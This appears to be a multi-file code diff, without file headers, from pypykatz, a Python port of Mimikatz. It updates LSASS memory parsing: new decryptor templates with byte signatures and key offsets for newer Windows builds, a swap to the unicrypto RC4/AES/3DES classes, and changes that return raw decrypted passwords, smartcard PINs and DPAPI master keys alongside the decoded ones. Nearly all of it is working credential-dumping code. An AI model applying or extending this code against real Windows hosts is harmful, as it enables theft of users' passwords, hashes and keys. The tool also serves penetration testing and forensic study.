222 | 234 | pass |
223 | 235 | |
224 | 236 | else: |
225 | logging.info('Parsing file %s' % args.memoryfile) | |
237 | logger.info('Parsing file %s' % args.memoryfile) | |
226 | 238 | try: |
227 | 239 | if args.kerberos_dir is not None and 'all' not in args.packages: |
228 | 240 | args.packages.append('ktickets') |
231 | 243 | if args.halt_on_error == True and len(mimi.errors) > 0: |
232 | 244 | raise Exception('Error in modules!') |
233 | 245 | except Exception as e: |
234 | logging.exception('Error while parsing file %s' % args.memoryfile) | |
246 | logger.exception('Error while parsing file %s' % args.memoryfile) | |
235 | 247 | if args.halt_on_error == True: |
236 | 248 | raise e |
237 | 249 | else: |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import io | |
6 | import logging | |
7 | from pypykatz.crypto.RC4 import RC4 | |
5 | ||
6 | from unicrypto.symmetric import RC4 | |
8 | 7 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor |
9 | 8 | from pypykatz.commons.win_datatypes import LONG |
10 | 9 | |
87 | 86 | self.log('Looking for main struct signature in memory...') |
88 | 87 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
89 | 88 | if len(fl) == 0: |
90 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
89 | self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex()) | |
91 | 90 | raise Exception('LSA signature not found!') |
92 | 91 | |
93 | 92 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
4 | 4 | # |
5 | 5 | |
6 | 6 | |
7 | import traceback | |
7 | 8 | from pypykatz import logger |
8 | 9 | from pypykatz.commons.common import hexdump |
9 | from pypykatz.crypto.des import triple_des, CBC | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCFB | |
10 | from unicrypto.symmetric import TDES, AES, MODE_CFB, MODE_CBC | |
11 | 11 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor |
12 | 12 | |
13 | 13 | class LsaDecryptor_NT6(PackageDecryptor): |
51 | 51 | |
52 | 52 | def get_IV(self, pos): |
53 | 53 | self.log('Reading IV') |
54 | #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr)) | |
54 | ||
55 | #### TEST!!!! | |
56 | #if hasattr(self.sysinfo, 'IV_OFFSET'): | |
57 | # ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET) | |
58 | # self.reader.move(ptr_iv) | |
59 | # data = self.reader.read(self.decryptor_template.key_pattern.IV_length) | |
60 | # self.log('IV data: %s' % hexdump(data)) | |
61 | # return data | |
62 | ||
55 | 63 | ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) |
56 | self.log('IV pointer takes us to 0x%08x' % ptr_iv) | |
64 | #self.log('IV pointer takes us to 0x%08x' % ptr_iv) | |
57 | 65 | self.reader.move(ptr_iv) |
58 | 66 | data = self.reader.read(self.decryptor_template.key_pattern.IV_length) |
59 | 67 | self.log('IV data: %s' % hexdump(data)) |
87 | 95 | if size % 8: |
88 | 96 | if not self.aes_key or not self.iv: |
89 | 97 | return cleartext |
90 | cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv) | |
98 | cipher = AES(self.aes_key, MODE_CFB, IV = self.iv, segment_size=128) | |
91 | 99 | cleartext = cipher.decrypt(encrypted) |
92 | 100 | else: |
93 | 101 | if not self.des_key or not self.iv: |
94 | 102 | return cleartext |
95 | cipher = triple_des(self.des_key, CBC, self.iv[:8]) | |
103 | cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) | |
96 | 104 | cleartext = cipher.decrypt(encrypted) |
97 | 105 | return cleartext |
98 | 106 |
56 | 56 | template = templates['nt5']['x86']['1'] |
57 | 57 | |
58 | 58 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: |
59 | #1 | |
60 | 59 | template = templates['nt6']['x86']['1'] |
61 | #key_pattern = LSADecyptorKeyPattern() | |
62 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
63 | #key_pattern.IV_length = 16 | |
64 | #key_pattern.offset_to_IV_ptr = 5 | |
65 | #key_pattern.offset_to_DES_key_ptr = -76 | |
66 | #key_pattern.offset_to_AES_key_ptr = -21 | |
67 | # | |
68 | #template.key_pattern = key_pattern | |
69 | #template.key_struct = KIWI_BCRYPT_KEY | |
70 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
71 | 60 | |
72 | 61 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: |
73 | #2 | |
74 | 62 | template = templates['nt6']['x86']['2'] |
75 | #key_pattern = LSADecyptorKeyPattern() | |
76 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
77 | #key_pattern.IV_length = 16 | |
78 | #key_pattern.offset_to_IV_ptr = 5 | |
79 | #key_pattern.offset_to_DES_key_ptr = -76 | |
80 | #key_pattern.offset_to_AES_key_ptr = -21 | |
81 | # | |
82 | #template.key_pattern = key_pattern | |
83 | #template.key_struct = KIWI_BCRYPT_KEY | |
84 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
85 | 63 | |
86 | 64 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: |
87 | #3 | |
88 | 65 | template = templates['nt6']['x86']['3'] |
89 | #key_pattern = LSADecyptorKeyPattern() | |
90 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
91 | #key_pattern.IV_length = 16 | |
92 | #key_pattern.offset_to_IV_ptr = 5 | |
93 | #key_pattern.offset_to_DES_key_ptr = -69 | |
94 | #key_pattern.offset_to_AES_key_ptr = -18 | |
95 | # | |
96 | #template.key_pattern = key_pattern | |
97 | #template.key_struct = KIWI_BCRYPT_KEY8 | |
98 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
99 | 66 | |
100 | 67 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: |
101 | #4 | |
102 | 68 | template = templates['nt6']['x86']['4'] |
103 | #key_pattern = LSADecyptorKeyPattern() | |
104 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
105 | #key_pattern.IV_length = 16 | |
106 | #key_pattern.offset_to_IV_ptr = 5 | |
107 | # | |
108 | #key_pattern.offset_to_DES_key_ptr = -69 | |
109 | #key_pattern.offset_to_AES_key_ptr = -18 | |
110 | # | |
111 | #template.key_pattern = key_pattern | |
112 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
113 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
114 | 69 | |
115 | 70 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value: |
116 | #5 | |
117 | template = templates['nt6']['x86']['5'] | |
118 | ||
119 | #key_pattern = LSADecyptorKeyPattern() | |
120 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
121 | #key_pattern.IV_length = 16 | |
122 | #key_pattern.offset_to_IV_ptr = 5 | |
123 | #key_pattern.offset_to_DES_key_ptr = -79 | |
124 | #key_pattern.offset_to_AES_key_ptr = -22 | |
125 | # | |
126 | #template.key_pattern = key_pattern | |
127 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
128 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
129 | ||
130 | ||
131 | elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value: | |
132 | #6 | |
71 | template = templates['nt6']['x86']['5'] | |
72 | ||
73 | elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value: | |
133 | 74 | template = templates['nt6']['x86']['6'] |
134 | #key_pattern = LSADecyptorKeyPattern() | |
135 | #key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
136 | #key_pattern.IV_length = 16 | |
137 | #key_pattern.offset_to_IV_ptr = 5 | |
138 | #key_pattern.offset_to_DES_key_ptr = -79 | |
139 | #key_pattern.offset_to_AES_key_ptr = -22 | |
140 | # | |
141 | #template.key_pattern = key_pattern | |
142 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
143 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
75 | else: | |
76 | template = templates['nt6']['x86']['7'] | |
144 | 77 | |
145 | 78 | elif sysinfo.architecture == KatzSystemArchitecture.X64: |
146 | ||
147 | 79 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: |
148 | 80 | raise Exception("Maybe implemented later") |
149 | 81 | |
152 | 84 | |
153 | 85 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: |
154 | 86 | #vista |
155 | #1 | |
156 | 87 | template = templates['nt6']['x64']['1'] |
157 | #key_pattern = LSADecyptorKeyPattern() | |
158 | #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' | |
159 | #key_pattern.IV_length = 16 | |
160 | #key_pattern.offset_to_IV_ptr = 63 | |
161 | #key_pattern.offset_to_DES_key_ptr = -69 | |
162 | #key_pattern.offset_to_AES_key_ptr = 25 | |
163 | # | |
164 | #template.key_pattern = key_pattern | |
165 | #template.key_struct = KIWI_BCRYPT_KEY | |
166 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
167 | 88 | |
168 | 89 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: |
169 | 90 | #win 7 |
170 | #2 | |
171 | 91 | template = templates['nt6']['x64']['2'] |
172 | ||
173 | #key_pattern = LSADecyptorKeyPattern() | |
174 | #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' | |
175 | #key_pattern.IV_length = 16 | |
176 | #key_pattern.offset_to_IV_ptr = 59 | |
177 | #key_pattern.offset_to_DES_key_ptr = -61 | |
178 | #key_pattern.offset_to_AES_key_ptr = 25 | |
179 | # | |
180 | #template.key_pattern = key_pattern | |
181 | #template.key_struct = KIWI_BCRYPT_KEY | |
182 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
183 | 92 | |
184 | 93 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: |
185 | 94 | #win 8 and blue |
186 | #3 | |
187 | #key_pattern = LSADecyptorKeyPattern() | |
188 | #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' | |
189 | #key_pattern.IV_length = 16 | |
190 | #key_pattern.offset_to_IV_ptr = 62 | |
191 | #key_pattern.offset_to_DES_key_ptr = -70 | |
192 | #key_pattern.offset_to_AES_key_ptr = 23 | |
193 | ||
194 | 95 | if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: |
195 | template = templates['nt6']['x64']['3'] | |
196 | #win8 | |
197 | #3 | |
198 | #template.key_pattern = key_pattern | |
199 | #template.key_struct = KIWI_BCRYPT_KEY8 | |
200 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
201 | ||
96 | if sysinfo.msv_dll_timestamp < 0x60000000: | |
97 | template = templates['nt6']['x64']['3'] | |
98 | else: | |
99 | template = templates['nt6']['x64']['7'] | |
202 | 100 | else: |
203 | 101 | template = templates['nt6']['x64']['4'] |
204 | #4 | |
205 | 102 | #win blue |
206 | #template.key_pattern = key_pattern | |
207 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
208 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
209 | ||
210 | 103 | |
211 | 104 | elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: |
212 | template = templates['nt6']['x64']['5'] | |
213 | #5 | |
214 | #key_pattern = LSADecyptorKeyPattern() | |
215 | #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' | |
216 | #key_pattern.IV_length = 16 | |
217 | #key_pattern.offset_to_IV_ptr = 61 | |
218 | #key_pattern.offset_to_DES_key_ptr = -73 | |
219 | #key_pattern.offset_to_AES_key_ptr = 16 | |
220 | # | |
221 | #template.key_pattern = key_pattern | |
222 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
223 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
224 | ||
105 | template = templates['nt6']['x64']['5'] | |
225 | 106 | |
226 | 107 | #elif sysinfo.buildnumber <= WindowsBuild.WIN_10_1809.value: |
227 | 108 | else: |
228 | 109 | template = templates['nt6']['x64']['6'] |
229 | #1809 | |
230 | #6 | |
231 | #key_pattern = LSADecyptorKeyPattern() | |
232 | #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' | |
233 | #key_pattern.IV_length = 16 | |
234 | #key_pattern.offset_to_IV_ptr = 67 | |
235 | #key_pattern.offset_to_DES_key_ptr = -89 | |
236 | #key_pattern.offset_to_AES_key_ptr = 16 | |
237 | # | |
238 | #template.key_pattern = key_pattern | |
239 | #template.key_struct = KIWI_BCRYPT_KEY81 | |
240 | #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
241 | 110 | |
242 | 111 | else: |
243 | 112 | raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) |
311 | 180 | self.hardkey = KIWI_HARD_KEY(reader) |
312 | 181 | |
313 | 182 | def verify(self): |
314 | return self.tag == b'KSSM' | |
183 | return self.tag == b'KSSM' | |
184 | ||
185 | class KIWI_BCRYPT_KEY81_NEW: | |
186 | def __init__(self, reader): | |
187 | self.size = ULONG(reader).value | |
188 | self.tag = reader.read(4) # 'MSSK' | |
189 | self.type = ULONG(reader).value | |
190 | self.unk0 = ULONG(reader).value | |
191 | self.unk1 = ULONG(reader).value | |
192 | self.unk2 = ULONG(reader).value | |
193 | self.unk3 = ULONG(reader).value | |
194 | self.unk4 = ULONG(reader).value | |
195 | reader.align() | |
196 | self.unk5 = PVOID(reader).value #before, align in x64 | |
197 | self.unk6 = ULONG(reader).value | |
198 | self.unk7 = ULONG(reader).value | |
199 | self.unk8 = ULONG(reader).value | |
200 | self.unk9 = ULONG(reader).value | |
201 | self.unk10 = ULONG(reader).value | |
202 | self.hardkey = KIWI_HARD_KEY(reader) | |
203 | ||
204 | def verify(self): | |
205 | return self.tag == b'KSSM' | |
315 | 206 | |
316 | 207 | |
317 | 208 | class PKIWI_BCRYPT_KEY(POINTER): |
380 | 271 | self.key_pattern.offset_to_AES_key_ptr = 23 |
381 | 272 | |
382 | 273 | self.key_struct = KIWI_BCRYPT_KEY81 |
383 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
274 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
384 | 275 | |
385 | 276 | class LSA_x64_5(LsaTemplate_NT6): |
386 | 277 | def __init__(self): |
408 | 299 | self.key_struct = KIWI_BCRYPT_KEY81 |
409 | 300 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY |
410 | 301 | |
302 | class LSA_x64_7(LsaTemplate_NT6): | |
303 | def __init__(self): | |
304 | LsaTemplate_NT6.__init__(self) | |
305 | self.key_pattern = LSADecyptorKeyPattern() | |
306 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' | |
307 | self.key_pattern.IV_length = 16 | |
308 | self.key_pattern.offset_to_IV_ptr = 58 | |
309 | self.key_pattern.offset_to_DES_key_ptr = -62 | |
310 | self.key_pattern.offset_to_AES_key_ptr = 23 | |
311 | ||
312 | self.key_struct = KIWI_BCRYPT_KEY8 | |
313 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
314 | ||
411 | 315 | class LSA_x86_1(LsaTemplate_NT6): |
412 | 316 | def __init__(self): |
413 | 317 | LsaTemplate_NT6.__init__(self) |
487 | 391 | self.key_struct = KIWI_BCRYPT_KEY81 |
488 | 392 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY |
489 | 393 | |
394 | class LSA_x86_7(LsaTemplate_NT6): | |
395 | def __init__(self): | |
396 | LsaTemplate_NT6.__init__(self) | |
397 | ||
398 | self.key_pattern = LSADecyptorKeyPattern() | |
399 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
400 | self.key_pattern.IV_length = 16 | |
401 | self.key_pattern.offset_to_IV_ptr = 5 | |
402 | self.key_pattern.offset_to_DES_key_ptr = -79 | |
403 | self.key_pattern.offset_to_AES_key_ptr = -22 | |
404 | ||
405 | self.key_struct = KIWI_BCRYPT_KEY81_NEW | |
406 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
490 | 407 | |
491 | 408 | |
492 | 409 | templates = { |
498 | 415 | '4' : LSA_x64_4(), |
499 | 416 | '5' : LSA_x64_5(), |
500 | 417 | '6' : LSA_x64_6(), |
418 | '7' : LSA_x64_7(), | |
501 | 419 | }, |
502 | 420 | 'x86': { |
503 | 421 | '1' : LSA_x86_1(), |
506 | 424 | '4' : LSA_x86_4(), |
507 | 425 | '5' : LSA_x86_5(), |
508 | 426 | '6' : LSA_x86_6(), |
427 | '7' : LSA_x86_7(), | |
509 | 428 | } |
510 | 429 | } |
511 | 430 | }⏎ |
4 | 4 | # |
5 | 5 | |
6 | 6 | from abc import ABC, abstractmethod |
7 | import logging | |
7 | from pypykatz import logger | |
8 | 8 | from pypykatz.commons.common import hexdump |
9 | 9 | from pypykatz.commons.win_datatypes import RTL_AVL_TABLE |
10 | 10 | |
13 | 13 | self.package_name = package_name |
14 | 14 | self.module_name = module_name |
15 | 15 | self.sysinfo = sysinfo |
16 | self.logger = logging.getLogger('pypykatz') | |
16 | self.logger = logger | |
17 | 17 | |
18 | 18 | def get_level(self): |
19 | 19 | return self.logger.getEffectiveLevel() |
60 | 60 | def log(self, msg, loglevel = 6): |
61 | 61 | self.logger.log('%s' % msg, loglevel) |
62 | 62 | |
63 | def find_signature(self, module_name, signature): | |
63 | def find_signature(self, module_name, signature = None): | |
64 | 64 | """ |
65 | 65 | Searches for a sequence of bytes in the module identified by module_name |
66 | 66 | """ |
67 | 67 | self.log('Searching for key struct signature') |
68 | fl = self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True) | |
68 | if signature is None: | |
69 | signature = self.decryptor_template.signature | |
70 | fl = self.reader.find_in_module(module_name, signature, find_first = True) | |
69 | 71 | if len(fl) == 0: |
70 | raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) | |
72 | raise Exception('Signature was not found in module %s Signature: %s' % (module_name, signature.hex())) | |
71 | 73 | return fl[0] |
72 | 74 | |
73 | 75 | def log_ptr(self, ptr, name, datasize = None): |
116 | 118 | if temp and len(temp) > 0: |
117 | 119 | if bytes_expected == False: |
118 | 120 | try: # normal password |
119 | dec_password = temp.decode('ascii') | |
121 | dec_password = temp.decode('utf-16-le') | |
120 | 122 | except: # machine password |
121 | 123 | try: |
122 | 124 | dec_password = temp.decode('utf-8') |
123 | 125 | except: |
124 | 126 | try: |
125 | dec_password = temp.decode('utf-16-le') | |
127 | dec_password = temp.decode('ascii') | |
126 | 128 | except: |
127 | 129 | dec_password = temp.hex() |
128 | 130 | else: # if not machine password, then check if we should trim it |
131 | 133 | else: |
132 | 134 | dec_password = temp |
133 | 135 | |
134 | return dec_password | |
136 | return dec_password, temp | |
135 | 137 | |
136 | 138 | def walk_avl(self, node_ptr, result_ptr_list): |
137 | 139 | """ |
56 | 56 | cache = cloudap_entry.cacheEntry.read(self.reader) |
57 | 57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') |
58 | 58 | if cache.cbPRT != 0 and cache.PRT.value != 0: |
59 | temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) | |
59 | temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) | |
60 | 60 | try: |
61 | 61 | temp = temp.decode() |
62 | 62 | except: |
68 | 68 | unk = cache.toDetermine.read(self.reader) |
69 | 69 | if unk is not None: |
70 | 70 | cred.key_guid = unk.guid.value |
71 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
72 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() | |
71 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True) | |
72 | cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest() | |
73 | 73 | |
74 | 74 | if cred.PRT is None and cred.key_guid is None: |
75 | 75 | return |
15 | 15 | return None |
16 | 16 | |
17 | 17 | if sysinfo.architecture == KatzSystemArchitecture.X64: |
18 | template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75' | |
18 | template.signature = b'\x44\x8b\x01\x44\x39\x42' | |
19 | 19 | template.first_entry_offset = -9 |
20 | 20 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY |
21 | 21 | |
93 | 93 | self.unk2 = DWORD64(reader) |
94 | 94 | self.unk3 = DWORD64(reader) |
95 | 95 | self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) |
96 | ||
97 | ||
98 | #### THIS IS FOR TESTING!!! | |
99 | class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(POINTER): | |
100 | def __init__(self, reader): | |
101 | super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY_11) | |
102 | ||
103 | class KIWI_CLOUDAP_LOGON_LIST_ENTRY_11: | |
104 | def __init__(self, reader): | |
105 | self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader) | |
106 | self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader) | |
107 | self.LocallyUniqueIdentifier = 1 | |
108 | reader.read(8*11) | |
109 | #self.unk0 = DWORD(reader) | |
110 | #self.unk1 = DWORD(reader) | |
111 | #self.unk2 = DWORD(reader) | |
112 | #reader.align() | |
113 | #self.LocallyUniqueIdentifier = LUID(reader).value | |
114 | #self.unk3 = DWORD64(reader) | |
115 | #self.unk4 = DWORD64(reader) | |
116 | #self.unk5 = DWORD64(reader) | |
117 | #self.unk6 = DWORD64(reader) | |
118 | self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) |
49 | 49 | return ptr_entry, ptr_entry_loc |
50 | 50 | |
51 | 51 | def add_entry(self, dpapi_entry): |
52 | ||
52 | if dpapi_entry.key is None: | |
53 | return | |
54 | ||
53 | 55 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: |
54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
56 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
55 | 57 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() |
56 | 58 | |
57 | 59 | c = DpapiCredential() |
89 | 89 | self.KeyUid = GUID(reader).value |
90 | 90 | self.insertTime = FILETIME(reader) |
91 | 91 | self.keySize = ULONG(reader).value |
92 | self.key = reader.read(self.keySize) | |
92 | if self.keySize < 512: | |
93 | self.key = reader.read(self.keySize) | |
94 | else: | |
95 | self.key = None⏎ |
17 | 17 | self.credtype = 'kerberos' |
18 | 18 | self.username = None |
19 | 19 | self.password = None |
20 | self.password_raw = b'' | |
20 | 21 | self.domainname = None |
21 | 22 | self.luid = None |
22 | 23 | self.tickets = [] |
23 | 24 | self.pin = None |
25 | self.pin_raw = None | |
24 | 26 | self.cardinfo = None |
25 | 27 | |
26 | 28 | def __str__(self): |
29 | 31 | t += '\t\tDomain: %s\n' % self.domainname |
30 | 32 | if self.password is not None: |
31 | 33 | t += '\t\tPassword: %s\n' % self.password |
34 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
32 | 35 | if self.pin is not None: |
33 | 36 | t += '\t\tPIN: %s\n' % self.pin |
37 | t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex() | |
34 | 38 | if self.cardinfo is not None: |
35 | 39 | t += '\t\tCARDINFO: \n' |
36 | 40 | t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] |
51 | 55 | t['credtype'] = self.credtype |
52 | 56 | t['username'] = self.username |
53 | 57 | t['password'] = self.password |
58 | t['password_raw'] = self.password_raw | |
54 | 59 | t['domainname'] = self.domainname |
55 | 60 | t['luid'] = self.luid |
56 | 61 | t['pin'] = self.pin |
62 | t['pin_raw'] = self.pin_raw | |
57 | 63 | t['cardinfo'] = self.cardinfo |
58 | 64 | t['tickets'] = [] |
59 | 65 | for ticket in self.tickets: |
122 | 128 | |
123 | 129 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) |
124 | 130 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) |
125 | if self.current_cred.username.endswith('$') is True: | |
126 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
127 | if self.current_cred.password is not None: | |
128 | self.current_cred.password = self.current_cred.password.hex() | |
129 | else: | |
130 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
131 | #if self.current_cred.username.endswith('$') is True: | |
132 | # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
133 | # if self.current_cred.password is not None: | |
134 | # self.current_cred.password = self.current_cred.password.hex() | |
135 | #else: | |
136 | # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
137 | self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
131 | 138 | |
132 | 139 | if kerberos_logon_session.SmartcardInfos.value != 0: |
133 | 140 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) |
134 | 141 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) |
135 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
142 | self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc) | |
136 | 143 | if csp_info.CspDataLength != 0: |
137 | 144 | self.current_cred.cardinfo = csp_info.CspData.get_infos() |
138 | 145 | |
146 | 153 | ### GOOD |
147 | 154 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) |
148 | 155 | #print(keydata_enc) |
149 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
156 | #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) | |
150 | 157 | #print(keydata_enc.hex()) |
151 | 158 | #input('KEY?') |
152 | 159 |
12 | 12 | self.username = None |
13 | 13 | self.domainname = None |
14 | 14 | self.password = None |
15 | self.password_raw = b'' | |
15 | 16 | self.luid = None |
16 | 17 | |
17 | 18 | def to_dict(self): |
20 | 21 | t['username'] = self.username |
21 | 22 | t['domainname'] = self.domainname |
22 | 23 | t['password'] = self.password |
24 | t['password_raw'] = self.password_raw | |
23 | 25 | t['luid'] = self.luid |
24 | 26 | return t |
25 | 27 | def to_json(self): |
30 | 32 | t += '\tusername %s\n' % self.username |
31 | 33 | t += '\tdomainname %s\n' % self.domainname |
32 | 34 | t += '\tpassword %s\n' % self.password |
35 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
33 | 36 | return t |
34 | 37 | |
35 | 38 | class LiveSspDecryptor(PackageDecryptor): |
55 | 58 | if suppCreds.credentials.Password.Length != 0: |
56 | 59 | enc_data = suppCreds.credentials.Password.read_maxdata(self.reader) |
57 | 60 | if c.username.endswith('$') is True: |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
61 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | 62 | if c.password is not None: |
60 | 63 | c.password = c.password.hex() |
61 | 64 | else: |
62 | c.password = self.decrypt_password(enc_data) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | self.credentials.append(c) |
65 | 68 |
5 | 5 | import io |
6 | 6 | import json |
7 | 7 | import base64 |
8 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump | |
8 | from pypykatz.commons.common import WindowsBuild, WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump | |
9 | 9 | from pypykatz.commons.filetime import filetime_to_dt |
10 | #from pypykatz.commons.win_datatypes import * | |
11 | 10 | from pypykatz.lsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC |
12 | 11 | from pypykatz.lsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY |
13 | 12 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor |
14 | 13 | |
15 | 14 | class MsvCredential: |
16 | 15 | def __init__(self): |
16 | self.credtype = 'msv' | |
17 | 17 | self.username = None |
18 | 18 | self.domainname = None |
19 | 19 | self.NThash = None |
52 | 52 | self.luid = None |
53 | 53 | self.username = None |
54 | 54 | self.password = None |
55 | self.password_raw = b'' | |
55 | 56 | self.domainname = None |
56 | 57 | |
57 | 58 | def to_dict(self): |
60 | 61 | t['username'] = self.username |
61 | 62 | t['domainname'] = self.domainname |
62 | 63 | t['password'] = self.password |
64 | t['password_raw'] = self.password_raw | |
63 | 65 | t['luid'] = self.luid |
64 | 66 | return t |
